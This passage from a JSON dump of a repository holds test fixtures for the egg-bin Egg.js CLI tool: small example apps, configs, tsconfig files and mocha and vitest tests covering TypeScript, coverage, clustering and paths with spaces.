    "content": "// This file was auto created by egg-ts-helper\n// Do not modify this file!!!!!!!!!\n\nimport Home from '../../../app/controller/home';\n\ndeclare module 'egg' {\n  interface IController {\n    home: Home;\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-cluster/typings/global.d.ts",
    "content": "interface PlainObject extends Object {\n  [key: string]: any;\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-cluster/typings/index.d.ts",
    "content": "import 'egg';\n\n// extend egg\ndeclare module 'egg' {\n  interface Context {}\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-cluster-client/agent.ts",
    "content": "export default class Boot {\n  agent: any;\n\n  constructor(agent: any) {\n    this.agent = agent;\n  }\n\n  async didLoad() {\n    const RegistryClient = (await import('./lib/registry_client.ts')).default;\n    this.agent.registryClient = this.agent.cluster(RegistryClient).create();\n  }\n\n  async willReady() {\n    await this.agent.registryClient.ready();\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-cluster-client/app/controller/home.ts",
    "content": "import { Controller } from 'egg';\n\nexport default class HomeController extends Controller {\n  async index() {\n    this.ctx.body = 'hi cluster';\n  }\n\n  async publish() {\n    const val = this.ctx.request.body.value;\n    (this.ctx.app as any).registryClient.publish({\n      dataId: 'demo.DemoService',\n      publishData: val,\n    });\n    this.ctx.body = 'ok';\n  }\n\n  async getHosts() {\n    const val = (this.ctx.app as any).val;\n    this.ctx.body = val ? JSON.stringify(val) : '';\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-cluster-client/app/router.ts",
    "content": "import { Application } from 'egg';\n\nexport default (app: Application) => {\n  app.router.get('/', app.controller.home.index);\n  app.router.post('/publish', app.controller.home.publish);\n  app.router.get('/getHosts', app.controller.home.getHosts);\n};\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-cluster-client/app.ts",
    "content": "import { Application } from 'egg';\n\nexport default async (app: Application) => {\n  const RegistryClient = (await import('./lib/registry_client.ts')).default;\n  const registryClient = (app as any).cluster(RegistryClient).create();\n  (app as any).registryClient = registryClient;\n  registryClient.subscribe({ dataId: 'demo.DemoService' }, (val: any) => {\n    (app as any).val = val;\n  });\n  await registryClient.ready();\n};\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-cluster-client/config/config.default.ts",
    "content": "export default () => {\n  const config = {} as any;\n  config.keys = '123456';\n  config.security = { csrf: { enable: false } };\n  return config;\n};\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-cluster-client/lib/registry_client.ts",
    "content": "import { Base } from 'sdk-base';\n\nclass RegistryClient extends Base {\n  _registered: Map<string, string[]>;\n\n  constructor() {\n    super();\n    this._registered = new Map();\n    this.ready(true);\n  }\n\n  subscribe(reg: { dataId: string }, listener: (data: any) => void) {\n    const key = reg.dataId;\n    this.on(key, listener);\n\n    const data = this._registered.get(key);\n    if (data) {\n      process.nextTick(() => listener(data));\n    }\n  }\n\n  publish(reg: { dataId: string; publishData: string }) {\n    const key = reg.dataId;\n\n    let arr = this._registered.get(key);\n    if (arr) {\n      if (!arr.includes(reg.publishData)) {\n        arr.push(reg.publishData);\n      }\n    } else {\n      arr = [reg.publishData];\n      this._registered.set(key, arr);\n    }\n    this.emit(key, arr);\n  }\n\n  close() {\n    (this as any).closed = true;\n  }\n}\n\nexport default RegistryClient;\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-cluster-client/package.json",
    "content": "{\n  \"name\": \"example-ts-cluster-client\",\n  \"type\": \"module\",\n  \"devDependencies\": {\n    \"@eggjs/mock\": \"*\"\n  },\n  \"egg\": {\n    \"typescript\": true\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-cluster-client/test/index.test.ts",
    "content": "import { app } from '@eggjs/mock/bootstrap';\n\ndescribe('cluster-client test', () => {\n  it('should publish & subscribe via cluster-client', async () => {\n    await app.ready();\n    await app.httpRequest().post('/publish').send({ value: 'www.testme.com' }).expect('ok').expect(200);\n    // wait for async subscribe propagation\n    await new Promise((resolve) => setTimeout(resolve, 500));\n    await app.httpRequest().get('/getHosts').expect(200);\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-cluster-client/tsconfig.json",
    "content": "{\n  \"extends\": \"@eggjs/tsconfig\",\n  \"compilerOptions\": {\n    \"target\": \"ES2022\",\n    \"module\": \"NodeNext\",\n    \"moduleResolution\": \"NodeNext\",\n    \"declaration\": false,\n    \"noImplicitAny\": false,\n    \"skipLibCheck\": true,\n    \"strict\": false\n  },\n  \"ts-node\": {\n    \"esm\": true,\n    \"transpileOnly\": true\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-cov/agent.js",
    "content": "export default (agent) => {\n  console.log(`agent.options.typescript = ${agent.options.typescript}`);\n  console.log(`agent.options.tscompiler = ${agent.options.tscompiler}`);\n};\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-cov/app/controller/home.ts",
    "content": "import { Controller } from 'egg';\n\n// import { Foo } from '@/module/foo';\nimport { Foo } from '../module/foo.ts';\n\nexport default class HomeController extends Controller {\n  public async index() {\n    const obj: PlainObject = {};\n    obj.text = 'hi, egg';\n    this.ctx.body = obj.text;\n  }\n\n  async foo() {\n    const instance = new Foo();\n    this.ctx.body = instance.bar();\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-cov/app/module/foo.ts",
    "content": "export class Foo {\n  public bar() {\n    return 'bar';\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-cov/app/module/package.json",
    "content": "{\n  \"name\": \"foo\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"foo\"\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-cov/app/router.ts",
    "content": "import { Application } from 'egg';\n\nexport default (app: Application) => {\n  app.router.get('/', app.controller.home.index);\n  app.router.get('/foo', app.controller.home.foo);\n};\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-cov/app.ts",
    "content": "import { Application } from 'egg';\n\nexport default (app: Application) => {\n  console.log(`hi, egg, ${app.config.keys}`);\n  console.log(`ts env: ${process.env.EGG_TYPESCRIPT}`);\n};\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-cov/config/config.default.ts",
    "content": "export default () => {\n  const config = {} as any;\n  config.keys = '123456';\n  return config;\n};\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-cov/package.json",
    "content": "{\n  \"name\": \"example-ts\",\n  \"type\": \"module\",\n  \"devDependencies\": {\n    \"@eggjs/mock\": \"*\"\n  },\n  \"egg\": {\n    \"typescript\": true\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-cov/test/index.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { app } from '@eggjs/mock/bootstrap';\n\nimport { Foo } from '../app/module/foo.ts';\n\ndescribe('example-ts/test/index.test.ts', () => {\n  it('should work', async () => {\n    await app.ready();\n    await app.httpRequest().get('/').expect('hi, egg').expect(200);\n  });\n\n  it('should paths work', async () => {\n    await app.ready();\n    await app.httpRequest().get('/foo').expect('bar').expect(200);\n  });\n\n  it('should auto import tsconfig-paths/register', async () => {\n    const instance = new Foo();\n    assert.equal(instance.bar(), 'bar');\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-cov/tsconfig.json",
    "content": "{\n  \"extends\": \"@eggjs/tsconfig\",\n  \"compilerOptions\": {\n    \"target\": \"ES2022\",\n    \"module\": \"NodeNext\",\n    \"moduleResolution\": \"NodeNext\",\n    \"declaration\": false,\n    \"noImplicitAny\": false,\n    \"skipLibCheck\": true,\n    \"strict\": false,\n    \"paths\": {\n      \"@/module/*\": [\"./app/module/*\"]\n    }\n  },\n  \"ts-node\": {\n    \"esm\": true,\n    \"transpileOnly\": true\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-cov/typings/app/controller/index.d.ts",
    "content": "// This file was auto created by egg-ts-helper\n// Do not modify this file!!!!!!!!!\n\nimport Home from '../../../app/controller/home';\n\ndeclare module 'egg' {\n  interface IController {\n    home: Home;\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-cov/typings/global.d.ts",
    "content": "interface PlainObject extends Object {\n  [key: string]: any;\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-cov/typings/index.d.ts",
    "content": "import 'egg';\n\n// extend egg\ndeclare module 'egg' {\n  interface Context {}\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-custom-compiler/config/config.default.ts",
    "content": "export const key = '12345';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-custom-compiler/package.json",
    "content": "{\n  \"name\": \"example-ts-custom-compiler\",\n  \"dependencies\": {\n    \"ts-node\": \"10.9.2\"\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-custom-compiler/test/index.test.ts",
    "content": "describe('test', () => {\n  it('should ok', () => {\n    console.info(process.argv);\n    console.info(process.execArgv);\n    console.info(process.env.NODE_OPTIONS);\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-custom-compiler-2/config/config.default.ts",
    "content": "export const key = '12345';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-custom-compiler-2/package.json",
    "content": "{\n  \"name\": \"example-ts-custom-compiler-2\"\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-error-stack/app.ts",
    "content": "export default function () {\n  // placeholder comments\n  // placeholder comments\n  // placeholder comments\n  // placeholder comments\n  if (process.env.THROW_ERROR === 'true') {\n    throw new Error('throw error');\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-error-stack/config/config.default.ts",
    "content": "'use strict';\n\nexport default () => {\n  const config = {} as any;\n  config.keys = '123456';\n  return config;\n};\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-error-stack/package.json",
    "content": "{\n  \"name\": \"example-ts-error-stack\",\n  \"egg\": {\n    \"typescript\": true\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-error-stack/test/index.test.ts",
    "content": "import assert from 'node:assert';\n\ndescribe('test/index.test.ts', () => {\n  // placeholder comments\n  it('should throw error', async () => {\n    throw new Error('error');\n  });\n\n  // placeholder comments\n  it('should assert', async () => {\n    const obj = { key: '111' };\n    assert.equal(obj.key, '222');\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-error-stack/tsconfig.json",
    "content": "{\n  \"extends\": \"@eggjs/tsconfig\"\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-error-stack-mixed/app.ts",
    "content": "export default function () {\n  // placeholder comments\n  // placeholder comments\n  // placeholder comments\n  // placeholder comments\n  if (process.env.THROW_ERROR === 'true') {\n    throw new Error('throw error');\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-error-stack-mixed/config/config.default.ts",
    "content": "export default () => {\n  const config = {} as any;\n  config.keys = '123456';\n  return config;\n};\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-error-stack-mixed/package.json",
    "content": "{\n  \"name\": \"example-ts-error-stack\",\n  \"egg\": {\n    \"typescript\": true\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-error-stack-mixed/test/index.test.js",
    "content": "const assert = require('assert');\n\ndescribe('test/index.test.js', () => {\n  // placeholder comments\n  it('should throw error', async () => {\n    throw new Error('error');\n  });\n\n  // placeholder comments\n  it('should assert', async () => {\n    const obj = { key: '111' };\n    assert.equal(obj.key, '222');\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-error-stack-mixed/tsconfig.json",
    "content": "{\n  \"extends\": \"@eggjs/tsconfig\"\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-pkg/agent.js",
    "content": "'use strict';\n\nmodule.exports = (agent) => {\n  console.log(`agent.options.typescript = ${agent.options.typescript}`);\n  console.log(`agent.options.tscompiler = ${agent.options.tscompiler}`);\n};\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-pkg/app/router.ts",
    "content": "'use strict';\n\nimport { Application, Context } from 'egg';\n\nexport default (app: Application) => {\n  app.router.get('/', async (ctx: Context) => {\n    ctx.body = 'hi, egg';\n  });\n};\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-pkg/app.ts",
    "content": "'use strict';\n\nimport { Application } from 'egg';\n\nexport default (app: Application) => {\n  console.log(`hi, egg, ${app.config.keys}`);\n  console.log(`ts env: ${process.env.EGG_TYPESCRIPT}`);\n};\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-pkg/config/config.default.ts",
    "content": "'use strict';\n\nexport default () => {\n  const config = {} as any;\n  config.keys = '123456';\n  return config;\n};\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-pkg/package.json",
    "content": "{\n  \"name\": \"example-ts-pkg\",\n  \"egg\": {\n    \"typescript\": true,\n    \"tscompiler\": \"esbuild-register\"\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-pkg/test/index.test.ts",
    "content": "import { default as mock, MockOption, MockApplication } from '@eggjs/mock';\nimport { Application, Context } from 'egg';\n\ndescribe('test/index.test.ts', () => {\n  let app: BaseMockApplication<Application, Context>;\n  before(() => {\n    app = mock.app({ typescript: true } as MockOption);\n    return app.ready();\n  });\n  after(() => app.close());\n  it('should work', async () => {\n    await app.httpRequest().get('/').expect('hi, egg').expect(200);\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-pkg/tsconfig.json",
    "content": "{\n  \"extends\": \"@eggjs/tsconfig\"\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-simple/config/config.default.ts",
    "content": "'use strict';\n\nexport const key = '12345';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-simple/package.json",
    "content": "{\n  \"name\": \"example\"\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-test/agent.js",
    "content": "export default (agent) => {\n  console.log(`agent.options.typescript = ${agent.options.typescript}`);\n  console.log(`agent.options.tscompiler = ${agent.options.tscompiler}`);\n};\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-test/app/controller/home.ts",
    "content": "import { Controller } from 'egg';\n\n// import { Foo } from '@/module/foo';\nimport { Foo } from '../module/foo.ts';\n\nexport default class HomeController extends Controller {\n  public async index() {\n    const obj: PlainObject = {};\n    obj.text = 'hi, egg';\n    this.ctx.body = obj.text;\n  }\n\n  async foo() {\n    const instance = new Foo();\n    this.ctx.body = instance.bar();\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-test/app/module/foo.ts",
    "content": "export class Foo {\n  public bar() {\n    return 'bar';\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-test/app/module/package.json",
    "content": "{\n  \"name\": \"foo\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"foo\"\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-test/app/router.ts",
    "content": "import { Application } from 'egg';\n\nexport default (app: Application) => {\n  app.router.get('/', app.controller.home.index);\n  app.router.get('/foo', app.controller.home.foo);\n};\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-test/app.ts",
    "content": "import { Application } from 'egg';\n\nexport default (app: Application) => {\n  console.log(`hi, egg, ${app.config.keys}`);\n  console.log(`ts env: ${process.env.EGG_TYPESCRIPT}`);\n};\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-test/config/config.default.ts",
    "content": "export default () => {\n  const config = {} as any;\n  config.keys = '123456';\n  return config;\n};\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-test/package.json",
    "content": "{\n  \"name\": \"example-ts\",\n  \"type\": \"module\",\n  \"devDependencies\": {\n    \"@eggjs/mock\": \"*\"\n  },\n  \"egg\": {\n    \"typescript\": true\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-test/test/index.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { app } from '@eggjs/mock/bootstrap';\n\nimport { Foo } from '../app/module/foo.ts';\n\ndescribe('example-ts/test/index.test.ts', () => {\n  it('should work', async () => {\n    await app.ready();\n    await app.httpRequest().get('/').expect('hi, egg').expect(200);\n  });\n\n  it('should paths work', async () => {\n    await app.ready();\n    await app.httpRequest().get('/foo').expect('bar').expect(200);\n  });\n\n  it('should auto import tsconfig-paths/register', async () => {\n    const instance = new Foo();\n    assert.equal(instance.bar(), 'bar');\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-test/tsconfig.json",
    "content": "{\n  \"extends\": \"@eggjs/tsconfig\",\n  \"compilerOptions\": {\n    \"target\": \"ES2022\",\n    \"module\": \"NodeNext\",\n    \"moduleResolution\": \"NodeNext\",\n    \"declaration\": false,\n    \"noImplicitAny\": false,\n    \"skipLibCheck\": true,\n    \"strict\": false,\n    \"paths\": {\n      \"@/module/*\": [\"./app/module/*\"]\n    }\n  },\n  \"ts-node\": {\n    \"esm\": true,\n    \"transpileOnly\": true\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-test/typings/app/controller/index.d.ts",
    "content": "// This file was auto created by egg-ts-helper\n// Do not modify this file!!!!!!!!!\n\nimport Home from '../../../app/controller/home';\n\ndeclare module 'egg' {\n  interface IController {\n    home: Home;\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-test/typings/global.d.ts",
    "content": "interface PlainObject extends Object {\n  [key: string]: any;\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/example-ts-test/typings/index.d.ts",
    "content": "import 'egg';\n\n// extend egg\ndeclare module 'egg' {\n  interface Context {}\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/mocha-test/package.json",
    "content": "{\n  \"name\": \"mocha-test\"\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/mocha-test/test/bar.test.js",
    "content": "const assert = require('assert');\n\ndescribe('mocha-test bar.test.js', () => {\n  it('should work', () => {\n    assert(true);\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/mocha-test/test/foo.test.js",
    "content": "const assert = require('assert');\n\ndescribe('mocha-test foo.test.js', () => {\n  it('should work', () => {\n    assert(true);\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/mocha-test-ts-esm/package.json",
    "content": "{\n  \"type\": \"module\",\n  \"devDependencies\": {\n    \"typescript\": \"*\"\n  },\n  \"egg\": {\n    \"framework\": \"ignore-require-egg-mock-register\"\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/mocha-test-ts-esm/test/bar.test.ts",
    "content": "import assert from 'assert';\n\ndescribe('mocha-test-ts-esm/bar.test.ts', () => {\n  it('should work', () => {\n    assert(true);\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/mocha-test-ts-esm/test/foo.test.ts",
    "content": "import assert from 'assert';\n\ndescribe('mocha-test-ts-esm/foo.test.ts', () => {\n  it('should work', () => {\n    assert(true);\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/mocha-test-ts-esm/tsconfig.json",
    "content": "{\n  \"extends\": \"@eggjs/tsconfig\",\n  \"compileOnSave\": true,\n  \"compilerOptions\": {\n    \"strict\": true,\n    \"noImplicitAny\": true,\n    \"target\": \"ES2022\",\n    \"module\": \"NodeNext\",\n    \"moduleResolution\": \"NodeNext\"\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/mocha-test-ts-esm-cov/package.json",
    "content": "{\n  \"type\": \"module\",\n  \"devDependencies\": {\n    \"typescript\": \"*\"\n  },\n  \"egg\": {\n    \"framework\": \"ignore-require-egg-mock-register\"\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/mocha-test-ts-esm-cov/test/bar.test.ts",
    "content": "import assert from 'assert';\n\ndescribe('mocha-test-ts-esm/bar.test.ts', () => {\n  it('should work', () => {\n    assert(true);\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/mocha-test-ts-esm-cov/test/foo.test.ts",
    "content": "import assert from 'assert';\n\ndescribe('mocha-test-ts-esm/foo.test.ts', () => {\n  it('should work', () => {\n    assert(true);\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/mocha-test-ts-esm-cov/tsconfig.json",
    "content": "{\n  \"extends\": \"@eggjs/tsconfig\",\n  \"compileOnSave\": true,\n  \"compilerOptions\": {\n    \"strict\": true,\n    \"noImplicitAny\": true,\n    \"target\": \"ES2022\",\n    \"module\": \"NodeNext\",\n    \"moduleResolution\": \"NodeNext\"\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/my-egg-bin/bin/run.cmd",
    "content": "@echo off\n\nnode \"%~dp0\\run\" %*\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/my-egg-bin/bin/run.js",
    "content": "#!/usr/bin/env node\n\nimport { execute } from '@oclif/core';\n\nawait execute({ dir: import.meta.url });\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/my-egg-bin/cmd/cov.ts",
    "content": "import { Cov } from '../../../../dist/index.js';\n\nexport default Cov;\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/my-egg-bin/cmd/dev.ts",
    "content": "import { Dev } from '../../../../dist/index.js';\n\nexport default class MyDev<T extends typeof MyDev> extends Dev<T> {\n  static override description = 'Run the development server with my-egg-bin';\n\n  static override examples = ['<%= config.bin %> <%= command.id %>'];\n\n  public async run(): Promise<void> {\n    super.run();\n    console.info('this is my-egg-bin dev, baseDir: %s', this.flags.base);\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/my-egg-bin/cmd/nsp.ts",
    "content": "import { BaseCommand, Flags } from '../../../../dist/index.js';\n\nexport default class Nsp<T extends typeof Nsp> extends BaseCommand<T> {\n  static override description = 'nsp check';\n\n  static override examples = ['<%= config.bin %> <%= command.id %>'];\n\n  static override flags = {\n    foo: Flags.boolean({\n      description: 'foo bar',\n    }),\n  };\n\n  public async run(): Promise<void> {\n    console.log('run nsp check at baseDir: %s, with %o', this.flags.base, this.args);\n    if (this.flags.foo) {\n      console.log('foo is true');\n    }\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/my-egg-bin/cmd/test.ts",
    "content": "import { Test } from '../../../../dist/index.js';\n\nexport default Test;\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/my-egg-bin/config/framework.ts",
    "content": "import path from 'node:path';\nimport { fileURLToPath } from 'node:url';\n\nconst __filename = fileURLToPath(import.meta.url);\nconst __dirname = path.dirname(__filename);\n\nconsole.error(path.join(__dirname, '../../../../'));\n\nexport default {\n  package: path.join(__dirname, '../../../../'),\n};\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/my-egg-bin/package.json",
    "content": "{\n  \"name\": \"my-egg-bin\",\n  \"version\": \"2.3.4\",\n  \"bin\": {\n    \"my-egg-bin\": \"bin/run.js\"\n  },\n  \"type\": \"module\",\n  \"oclif\": {\n    \"additionalHelpFlags\": [\n      \"-h\"\n    ],\n    \"bin\": \"my-egg-bin\",\n    \"commands\": \"./cmd\",\n    \"dirname\": \"my-egg-bin\",\n    \"topicSeparator\": \" \"\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/no-exit/package.json",
    "content": "{\n  \"name\": \"no-exit\"\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/no-exit/test/foo.test.js",
    "content": "'use strict';\n\nconst http = require('http');\nconst assert = require('assert');\n\ndescribe('mocha-test', () => {\n  it('should work', () => {\n    assert(true);\n  });\n});\n\nconst server = http.createServer((req, res) => {\n  res.writeHead(200, { 'Content-Type': 'text/plain' });\n  res.end('okay');\n});\nserver.listen();\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/prerequire/test/index.test.js",
    "content": "describe('prerequire', () => {\n  it('should work', () => {\n    console.log('NODE_ENV', process.env.NODE_ENV);\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/require-script.cjs",
    "content": "console.log('hey, you require me by --require');\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/require-script.mjs",
    "content": "console.log('hey, you require me by --import');\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/setup-js/package.json",
    "content": "{\n  \"name\": \"js\",\n  \"egg\": {\n    \"framework\": \"aliyun-egg\"\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/setup-js/test/.setup.js",
    "content": "beforeAll(() => {\n  console.log('this is a before function');\n});\nafterEach(() => {\n  console.log('is end!');\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/setup-js/test/a.test.js",
    "content": "describe('a.test.js', () => {\n  it('test', () => {\n    console.log('hello egg');\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/setup-ts/package.json",
    "content": "{\n  \"name\": \"ts\",\n  \"egg\": {\n    \"framework\": \"aliyun-egg\"\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/setup-ts/test/.setup.ts",
    "content": "import { beforeAll, afterEach } from 'vitest';\n\nbeforeAll(() => {\n  console.log('this is a before function');\n});\nafterEach(() => {\n  console.log('is end!');\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/setup-ts/test/a.test.ts",
    "content": "'use strict';\n\ndescribe('a.test.ts', () => {\n  it('test', () => {\n    console.log('hello egg');\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/setup-ts/tsconfig.json",
    "content": "{\n  \"extends\": \"@eggjs/tsconfig\"\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test path with space/example-app/app.ts",
    "content": "export default function () {\n  console.log('Hello, world!');\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test path with space/example-app/package.json",
    "content": "{\n  \"name\": \"example-app\",\n  \"dependencies\": {\n    \"egg\": \"*\"\n  },\n  \"egg\": {\n    \"typescript\": true\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test path with space/example-declarations/package.json",
    "content": "{\n  \"name\": \"example-declarations\",\n  \"dependencies\": {\n    \"egg\": \"*\"\n  },\n  \"egg\": {\n    \"declarations\": true\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test path with space/example-egg-require/package.json",
    "content": "{\n  \"name\": \"example-egg-require\",\n  \"egg\": {\n    \"require\": [\n      \"../require script.cjs\"\n    ]\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test path with space/example-import-script/package.json",
    "content": "{\n  \"name\": \"example-import-script\",\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test path with space/example-require-script/package.json",
    "content": "{\n  \"name\": \"example-require-script\"\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test path with space/require script.cjs",
    "content": "console.log('hey, you require me by --require');\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test path with space/require script.mjs",
    "content": "console.log('hey, you require me by --import');\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test path with space/test-files/package.json",
    "content": "{\n  \"name\": \"test-files\"\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test path with space/test-files/test/t e s t.test.js",
    "content": "'use strict';\n\nconst assert = require('assert');\n\ndescribe('test', () => {\n  it('should success', () => {\n    assert(true);\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-demo-app/app/router.js",
    "content": "module.exports = function (app) {\n  app.get('/', async function () {\n    this.body = {\n      fooPlugin: app.fooPlugin,\n      foo: 'bar',\n    };\n  });\n};\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-demo-app/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = '123';\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-demo-app/package.json",
    "content": "{\n  \"name\": \"demo-app\"\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-demo-app/test/a.test.js",
    "content": "const { app } = require('@eggjs/mock/bootstrap');\n\ndescribe('a.test.js', () => {\n  it('should work', async () => {\n    await app.httpRequest().get('/').expect(200).expect({ foo: 'bar' });\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-demo-app-esm/app/router.js",
    "content": "export default (app) => {\n  app.get('/', async function () {\n    this.body = {\n      fooPlugin: app.fooPlugin,\n      foo: 'bar',\n    };\n  });\n};\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-demo-app-esm/config/config.default.js",
    "content": "export default {\n  keys: '123',\n};\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-demo-app-esm/package.json",
    "content": "{\n  \"name\": \"demo-app-esm\",\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-demo-app-esm/test/a.test.js",
    "content": "import { app } from '@eggjs/mock/bootstrap';\n\ndescribe('a.test.js', () => {\n  it('should work', async () => {\n    await app.ready();\n    await app.httpRequest().get('/').expect(200).expect({ foo: 'bar' });\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/fixtures/test-demo-app-esm/tsconfig.json",
